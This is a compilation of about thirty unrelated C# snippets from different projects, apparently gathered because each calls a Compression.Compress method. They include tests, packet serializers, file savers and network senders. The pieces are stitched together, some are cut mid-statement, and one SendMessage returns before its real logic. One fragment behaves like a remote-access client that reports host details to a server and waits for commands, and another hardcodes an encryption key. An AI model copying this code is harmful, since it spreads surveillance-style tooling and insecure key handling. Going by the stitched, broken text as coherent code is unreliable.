public override void SendMessage(string data) { Console.WriteLine("To Server: [{0}] on port [{1}]", Address, Port); var temp = Console.ForegroundColor; Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Sending Message: [{0}] With", data, Console.ForegroundColor); Console.ForegroundColor = temp; Console.WriteLine("\t-Encoding : {0}", Encoder.ToString()); Console.WriteLine("\t-Compression : {0} ", Compression == null? "NONE" : Compression.ToString()); Console.WriteLine("\t-Protocol : {0}", Protocol.ToString()); Console.WriteLine("\t-Encryption : {0}", Encryptor == null ? "NONE" : Encryptor.ToString()); return; // 1. Protocol - use Protocol property of base class and crate message accordingly // if HTTP do base64encoding // 2. Check encoding method and encode the complete message accordingly var encoded = Encoder.Encode(data); // 3. Check compression enabled or not and compress accordingly var compressed = Compression.Compress(encoded); // 4. Check encryption detail and do the needful // TODO byte[] stream = (byte[])compressed; client.GetStream().Write(stream, 0, stream.Length); }
public void Test_Compress() { var result = Compression.Compress("测试中国"); Output.WriteLine(result); Assert.Equal("测试中国", Compression.Decompress(result)); }
//When connected to server #region Connection static void OnConnected(Socket s) { Console.WriteLine("Connected to {0}", s.RemoteEndPoint.ToString()); Console.WriteLine("WAITING For commands" + Environment.NewLine); //Create datareader instance from s Socket and begin reading data DataReader reader = new DataReader(s); reader.OnDisconnected += OnDisconnectedHandler; reader.OnReceived += HandleCommand; Serializer ser = new Serializer(); Info i = new Info(GetInfo.GetCountry(), GetInfo.GetOS(), GetInfo.Name(), GetInfo.GetProcessorModel()); //Geenerate Info object var buf = ser.Serialize(i); var cmp = Compression.Compress(buf); //Compress data using GZIP var len = cmp.Length; var sendLen = BitConverter.GetBytes(len); if (sendLen.Length != 0 && cmp.Length != 0) { reader.Send(sendLen); //Send data length reader.Send(cmp); //Send data itself } else { Process.GetCurrentProcess().Kill(); } }
public byte[] Serialize() { int packetSize = BASE_SIZE + SizeOf; byte[] data = new byte[packetSize]; fixed(byte *bData = data) { (*(short *)bData) = (short)packetSize; (*(PacketType *)&bData[2]) = Type; (*(long *)&bData[4]) = Id; (*(long *)&bData[8]) = SessionToken; (*(long *)&bData[12]) = TimeStamp; SerializeToMemory(bData, BASE_SIZE); if (Compressed) { byte[] compressed = Compression.Compress(data, BASE_SIZE); int compressedLength = compressed.Length; packetSize = BASE_SIZE + compressedLength; Array.Resize(ref data, packetSize); Buffer.BlockCopy(compressed, 0, data, BASE_SIZE, compressedLength); fixed(byte *bNewData = data) { (*(short *)bNewData) = (short)packetSize; } } } return(data); }
private byte[] GetBody() { ByteArray bytes = new ByteArray(); // Write Packets Data for (int i = 0; i < _objects.Count; i++) { SEAObject asset = _objects[i]; ByteArray data = new ByteArray(); byte[] buffer = asset.Write().ToArray(); data.WriteByte(asset.Flag); data.WriteTypeCode(asset.Type); if (asset.Named) { data.WriteUTF8(asset.Name); } if (asset.Compressed) { buffer = Compression.Compress(buffer, compressAlgorithm); } data.WriteBytes(buffer); bytes.WriteBytesObject(data.ToArray()); } return(bytes.ToArray()); }
public void PrepareCompressedData() { var compressed = new byte[Data.Length << 2]; Compression.Compress(Data, ref compressed); CompressedData = compressed; }
/// <summary> /// 패킷을 보낼 수 있도록 가공한다. (zlib 압축 데이터 여기서 생성) /// </summary> /// <param name="key">Encryption key</param> /// <param name="hmacKey">HMAC generation key</param> /// <param name="prefix">The 6 bytes between the packet size and the IV</param> public void CompressAndAssemble(byte[] key, byte[] hmacKey, byte[] prefix, int count) { // 버퍼를 복구할 수 있도록. _buffer_before_assemble = _buffer; byte[] data = Compression.Compress(_buffer); byte[] Op = BitConverter.GetBytes((short)Opcode); byte[] Len = BitConverter.GetBytes((int)data.Length + 4); // 버퍼 + 압축내용 Array.Reverse(Op); Array.Reverse(Len); byte[] TempData; TempData = BytesUtil.ConcatBytes(Op, Len); TempData = BytesUtil.ConcatBytes(TempData, BitConverter.GetBytes((bool)true)); // 압축임 TempData = BytesUtil.ConcatBytes(TempData, BitConverter.GetBytes((int)_buffer.Length)); // 실제 크기 _buffer = BytesUtil.ConcatBytes(TempData, data); byte[] IV = CryptoGenerators.GenerateIV(); byte[] dataToAssemble = BytesUtil.ConcatBytes( BytesUtil.ConcatBytes(prefix, BitConverter.GetBytes(count)), BytesUtil.ConcatBytes(IV, CryptoFunctions.EncryptPacket(_buffer, key, IV))); _buffer = CryptoFunctions.ClearPacket(dataToAssemble, hmacKey); }
public void File_compresses_and_decompresses(string filename) { var file = File.ReadAllText($"Test Files\\{filename}"); _testOutputHelper.WriteLine($"Original size: {file.Length:N0} bytes."); var timer = new Stopwatch(); timer.Start(); var compressed = Compression.Compress(file); timer.Stop(); _testOutputHelper.WriteLine($"Compressed size: {compressed.Length:N0} bytes."); _testOutputHelper.WriteLine($"Ratio: {(float) compressed.Length / file.Length *100:N2}%"); _testOutputHelper.WriteLine($"Time taken to compress: {timer.ElapsedMilliseconds:N0} ms."); timer.Reset(); timer.Start(); var decompressed = Compression.Decompress(compressed); timer.Stop(); _testOutputHelper.WriteLine($"Decompressed size: {decompressed.Length:N0} bytes."); _testOutputHelper.WriteLine($"Time taken to decompress: {timer.ElapsedMilliseconds:N0} ms."); Assert.Equal(file, decompressed); }
void Upload(ServiceParamWcf paramWCF) { try { Guid guid = paramWCF.param.dataToProcess.Guid; //string path = ConfigurationManager.AppSettings["dirBaseClient"].ToString() + guid; string path = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\efolding.fcfrp.usp.br\Client\" + guid; //string destPath = ConfigurationManager.AppSettings["uploadFolder"].ToString(); string destPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\efolding.fcfrp.usp.br\Client\_temp\" + guid; SIO.FileInfo sourceFile = new File().FileInfos(path + ".zip"); SIO.FileInfo destFileName = new File().FileInfos(destPath + ".zip"); //Valida se arquivo não existe, de uma tentativa de enviado anterior if (previousSimulation == false) //!File.Exists(destFileName.FullName) && { //Compress FILE //GICO.WriteLine(guid, rm.GetString("UploadCompression")); GICO.WriteLine(guid, "UploadCompression"); Compression.Compress(guid, sourceFile, new ExtendedDirectoryInfo(path), true, string.Empty); if (File.Exists(destFileName.FullName)) { File.Delete(destFileName.FullName); } //GICO.WriteLine(guid, rm.GetString("UploadFileMove")); GICO.WriteLine(guid, "UploadFileMove"); File.Move(sourceFile.FullName, destFileName.FullName); } GICO.WriteLine(guid, ExtendedString.Format("Upload file {0}..", destFileName.Name)); ProxyDocumentManagmentClient.DocumentEcho(destFileName); using (System.IO.BinaryReader fs = new System.IO.BinaryReader(System.IO.File.Open(destFileName.FullName, System.IO.FileMode.Open))) { int pos = 0; bool append = false; int length = (int)fs.BaseStream.Length; while (pos < length) { byte[] bytes = fs.ReadBytes(1024 * 1024); ProxyDocumentManagmentClient.UploadDocument(destFileName, bytes, append); append = true; pos += 1024 * 1024; } } //Extract GICO.WriteLine(guid, ExtendedString.Format("Extract file {0}..", destFileName.Name)); ProxyDocumentManagmentClient.ExtractDocument(destFileName); } catch (Exception ex) { throw ex; } }
/// <summary> /// Retrieves a file for a given URI, with custom key. /// Uses Brotli compression. /// </summary> /// <param name="uri">The URI to get image for.</param> /// <param name="key">The key to use for the URI.</param> /// <param name="expiration">How long should the file persist in the cache.</param> /// <param name="refreshKey">If enabled, refreshes the key on successful cache hit, extending the lifetime by expiration.</param> /// <param name="token">Token that can be used to cancel the operation.</param> public async ValueTask <byte[]> GetOrDownloadFileFromUrlBrotli(Uri uri, string key, TimeSpan expiration, bool refreshKey = false, CancellationToken token = default) { // Check the cache. var file = await GetExistingFile(key); if (file != null) { if (refreshKey) { RefreshKey(key, expiration); } return(Compression.DecompressToArray(file)); } // Get it, and put into cache. var data = Compression.Compress(await SharedHttpClient.UncachedAndCompressed.GetByteArrayAsync(uri, token)); if (!token.IsCancellationRequested) { _ = _cache.Insert(key, data, expiration); } return(data); }
/// <summary> /// Saves a string directly to the specified file using the specified settings, overwriting if it already exists /// </summary> /// <param name="filename">The file to save to</param> /// <param name="content">The string to save</param> /// <param name="settings">Settings</param> public static void SaveString(string filename, string content, QuickSaveSettings settings) { string contentToWrite; try { contentToWrite = Compression.Compress(content, settings.CompressionMode); } catch (Exception e) { throw new QuickSaveException("Compression failed", e); } // Gzip outputs base64 anyway so no need to do it twice if (settings.CompressionMode != CompressionMode.Gzip || settings.SecurityMode != SecurityMode.Base64) { try { contentToWrite = Cryptography.Encrypt(contentToWrite, settings.SecurityMode, settings.Password); } catch (Exception e) { throw new QuickSaveException("Encryption failed", e); } } if (!FileAccess.SaveString(filename, true, contentToWrite)) { throw new QuickSaveException("Failed to write to file"); } }
public void TestCompress() { Compression compression = new Compression(); var result = compression.Compress(new char[] { 'a', 'a', 'a', 'b' }); Assert.AreEqual('a', result[0]); Assert.AreEqual(3, result[1]); }
public Dictionary <string, byte[]> GetIndicatorFiles(string userLogin, string name) { var indicatorFolder = Path.Combine(_indicatorsFolderPath, userLogin, name); return(!Directory.Exists(Path.Combine(_indicatorsFolderPath, userLogin, name)) ? null : Directory.GetFiles(indicatorFolder, "*.dll", SearchOption.TopDirectoryOnly) .ToDictionary(Path.GetFileName, dll => Compression.Compress(File.ReadAllBytes(dll)))); }
public static void WriteCache(this TabClassEntity classEntity) { string path = classEntity.GetRecordPath(true); System.IO.StringWriter sw = new System.IO.StringWriter(); //创建一个序列化对像 System.Xml.Serialization.XmlSerializer xmlSerializer = new System.Xml.Serialization.XmlSerializer(typeof(TabClassEntity)); //写入缓存文件 System.IO.File.WriteAllBytes(path, Compression.Compress(System.Text.UnicodeEncoding.Unicode.GetBytes(sw.ToString()))); }
public void CompressedByteArrayNotNull() { Random random = new Random(); byte[] array = new byte[10]; random.NextBytes(array); var result = Compression.Compress(array); Assert.IsNotNull(result); }
public static byte[] ReadFromFileAndCompress(string fileName) { if (!File.Exists(fileName)) { return(new byte[0]); } var bytes = File.ReadAllBytes(fileName); return(bytes.Length > 0 ? Compression.Compress(bytes) : bytes); }
public void WriteFile(string objectDirectory) { var folder = $@"{objectDirectory}\{FolderName}"; var filePath = new FileInfo($@"{folder}\{FileName}"); Directory.CreateDirectory(folder); var compression = new Compression(); var compressedFileContents = compression.Compress(CommitFileContents); compression.WriteOut(filePath, compressedFileContents); }
public static string Serialize(string code, bool compress) { if (!string.IsNullOrEmpty(code)) { byte[] plainDatas = System.Text.Encoding.UTF8.GetBytes(code); byte[] compressedData = compress ? Compression.Compress(plainDatas) : plainDatas; string file_message = Convert.ToBase64String(compressedData); return(file_message); } return(string.Empty); }
public void CompressThenDecompressReturnsSameArray() { Random random = new Random(); byte[] array = new byte[10]; random.NextBytes(array); var compressed = Compression.Compress(array); var result = Compression.DeCompress(compressed); Assert.AreEqual(array, result); }
public byte[] GetCompressedData(CompressionType compressionType = CompressionType.DotNet) { this.CompressionType = compressionType; if (this.IsDirectory) { return(new byte[0]); } var fileBytes = File.ReadAllBytes(this.GetFullFilename()); var compressedBytes = Compression.Compress(fileBytes, compressionType); return(compressedBytes); }
public static byte[] ToByteArray(object obj, bool compressData) { if (obj == null) { return(null); } byte[] data = getByteRepresentation(obj); if (compressData) { data = Compression.Compress(data); } return(data); }
private void UseFunctionality(JsonOps jsonQuery) { Thread[] threads = new Thread[jsonQuery.tasks.Length]; int threadCount = 0; foreach (JsonOps.taskArr taskDetails in jsonQuery.tasks) { JsonOps.taskInfo task = taskDetails.task; try { switch (task.type) { case "encrypt": threads[threadCount] = new Thread(() => debugOutput(Encryption.Encrypt(task.source, task.title, task.verify))); threads[threadCount].IsBackground = true; break; case "decrypt": threads[threadCount] = new Thread(() => debugOutput(Encryption.Decrypt(task.source, task.title))); break; case "compress": threads[threadCount] = new Thread(() => debugOutput(Compression.Compress(task.source, task.title, task.verify))); threads[threadCount].IsBackground = true; break; case "decompress": threads[threadCount] = new Thread(() => debugOutput(Compression.Decompress(task.source, task.title))); break; case "copy": threads[threadCount] = new Thread(() => debugOutput(CopyDelete.Copy(task.source, task.title))); break; case "delete": threads[threadCount] = new Thread(() => debugOutput(CopyDelete.Delete(task.source))); break; default: debugOutput($"Zadanie {task.type} nie jest w puli dostępnych zadań"); break; } threads[threadCount].Start(); threadCount++; } catch (FileNotFoundException e) { debugOutput($"{e.Message} w zadaniu {task.title}"); } } }
public bool TransferResource(ResourceTransfer resource) { //encrypt login and password string loginName = ""; string pass = ""; getloginAndPass(UserId, ref loginName, ref pass); string _url = getWSUrl(this.Url); RepositoryWebservice repo = new RepositoryWebservice(_url); repo.Credentials = new System.Net.NetworkCredential(loginName, pass); var res = resource.Resource; if (!Core.Settings.disableZip) { res.ResourceContents = Compression.Compress(res.ResourceContents); } if (!Core.Settings.disableBase64Encoding) { res.ResourceAsBase64 = Convert.ToBase64String(res.ResourceContents); res.ResourceContents = new byte[0]; } bool transfered = false; try { transfered = repo.TransferResource(this.SessionKey, resource.ItemID, resource.ItemType, res, resource.OverWrite, loginName, pass); if (transfered) { RevisionLog.Instance.AddItemEntry(resource.ItemID, this.GetType(), "resources", resource.Resource.ExtractToPath + " transfered", LogItemEntryType.Success); } else { RevisionLog.Instance.AddItemEntry(resource.ItemID, this.GetType(), "resources", resource.Resource.ExtractToPath + " not transfered", LogItemEntryType.Error); } } catch (Exception ex) { RevisionLog.Instance.AddItemEntry(resource.ItemID, this.GetType(), "resources", ex.ToString(), LogItemEntryType.Error); } repo.Dispose(); return(transfered); }
public Byte[] GetContent() { try { var memStream = new MemoryStream(); GridControl.Save(memStream, unvell.ReoGrid.IO.FileFormat.Excel2007); return(Compression.Compress(memStream.GetBuffer())); } catch (Exception) { } return(new Byte[1]); }
public override void SendMessage(string data) { // 1. Protocol - use Protocol property of base class and crate message accordingly // if HTTP do base64encoding // 2. Check encoding method and encode the complete message accordingly var encoded = Encoder.Encode(data); // 3. Check compression enabled or not and compress accordingly var compressed = Compression.Compress(encoded); // 4. Check encryption detail and do the needful byte[] stream = Encryptor?.Encrypt((byte[])compressed); client.GetStream().Write(stream, 0, stream.Length); }
} = Encoding.UTF8.GetBytes("jO8JTskl6BMQTHsZNZ43gz5xEVXb76Zk"); // Convert.FromBase64String("<<EncKey>>"); public byte[] Encrypt <T>(T data) { var compressed = Compression.Compress(Serialisation.SerialiseData(data)); var encryptedData = Cryptography.Encrypt(compressed, EncryptionKey, out byte[] iv); var hmac = Cryptography.ComputeHmac256(EncryptionKey, encryptedData); var result = new byte[iv.Length + encryptedData.Length + hmac.Length]; Buffer.BlockCopy(iv, 0, result, 0, iv.Length); Buffer.BlockCopy(encryptedData, 0, result, iv.Length, encryptedData.Length); Buffer.BlockCopy(hmac, 0, result, iv.Length + encryptedData.Length, hmac.Length); return(result); }
public void CompressTest() { string value = "admin"; string temp = Compression.Compress(value); string result = Compression.Decompress(temp); Assert.Equal(value, result); Random rnd = new Random(); byte[] sourceBytes = rnd.NextBytes(10000); byte[] tempBytes = Compression.Compress(sourceBytes); byte[] resultBytes = Compression.Decompress(tempBytes); Assert.Equal(sourceBytes, resultBytes); }
public void CanCompressATokenTableAndDecompressIt() { var compressor = new Compression(); var serialiser = new Serialisation(); var generator = new TableGenerator(new GeneratorSettings { CharacterString = Alphabet.English, Size = 1000 }); var table = generator.Generate(); var serialised = serialiser.Serliaise(table); var result = compressor.Compress(serialised); Assert.IsTrue(serialised.Length > result.Length); result = compressor.Decompress(result); Assert.AreEqual(serialised, result); }
public static string Serialize(StringBuilder code, bool compress) { if (code == null) { throw new ArgumentNullException(nameof(code)); } if (code.Length > 0) { byte[] plainDatas = System.Text.Encoding.UTF8.GetBytes(code.ToString()); byte[] compressedData = compress ? Compression.Compress(plainDatas) : plainDatas; string file_message = Convert.ToBase64String(compressedData); return(file_message); } return(string.Empty); }
public void Send(Commands command) { try { CommandSerializer serializer = new CommandSerializer(); byte[] packet = serializer.Serialize(command); var cmpr = Compression.Compress(packet); var len2 = cmpr.Length; DataSocket.Send(BitConverter.GetBytes(len2)); DataSocket.BeginSend(cmpr, 0, cmpr.Length, SocketFlags.None, SentCallback, null); } catch (Exception ex) { MessageBox.Show(ex.Message, "An error occured", MessageBoxButtons.OK, MessageBoxIcon.Error); } }